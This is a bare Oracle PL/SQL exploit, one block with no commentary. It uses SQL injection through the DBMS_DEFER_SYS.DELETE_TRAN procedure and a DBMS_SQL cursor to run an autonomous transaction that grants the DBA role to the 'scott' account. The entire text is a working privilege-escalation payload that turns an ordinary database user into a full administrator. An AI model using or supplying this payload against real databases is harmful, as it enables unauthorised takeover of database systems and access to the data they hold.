DECLARE D NUMBER; BEGIN D := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0); DBMS_DEFER_SYS.DELETE_TRAN('aaaaaa','a'' and dbms_sql.execute('||D||')=1--'); end;